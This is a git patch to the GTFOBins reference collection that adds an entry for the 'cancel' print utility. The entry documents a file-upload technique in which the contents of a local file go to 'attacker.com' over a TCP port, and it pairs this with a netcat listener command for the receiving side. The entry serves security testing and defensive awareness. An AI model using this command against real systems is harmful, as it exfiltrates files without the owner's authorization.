From 63147892c4a8f63c5a81705786ed66d1fa6048dd Mon Sep 17 00:00:00 2001 From: 0rbz <40279247+0rbz@users.noreply.github.com> Date: Mon, 31 Dec 2018 03:38:20 -0500 Subject: [PATCH] Create cancel.md (#43) * Add cancel.md --- _gtfobins/cancel.md | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 _gtfobins/cancel.md diff --git a/_gtfobins/cancel.md b/_gtfobins/cancel.md new file mode 100644 index 0000000..ec4cb47 --- /dev/null +++ b/_gtfobins/cancel.md @@ -0,0 +1,10 @@ +--- +functions: + file-upload: + - description: Send contents of a file to a TCP port. Run `nc -nlvp $RPORT > "file to save"` on the attacker system to capture the contents. + code: | + RHOST=attacker.com + RPORT=12345 + LFILE=file_to_send + cancel -u "$(cat $LFILE)" -h $RHOST:$RPORT +---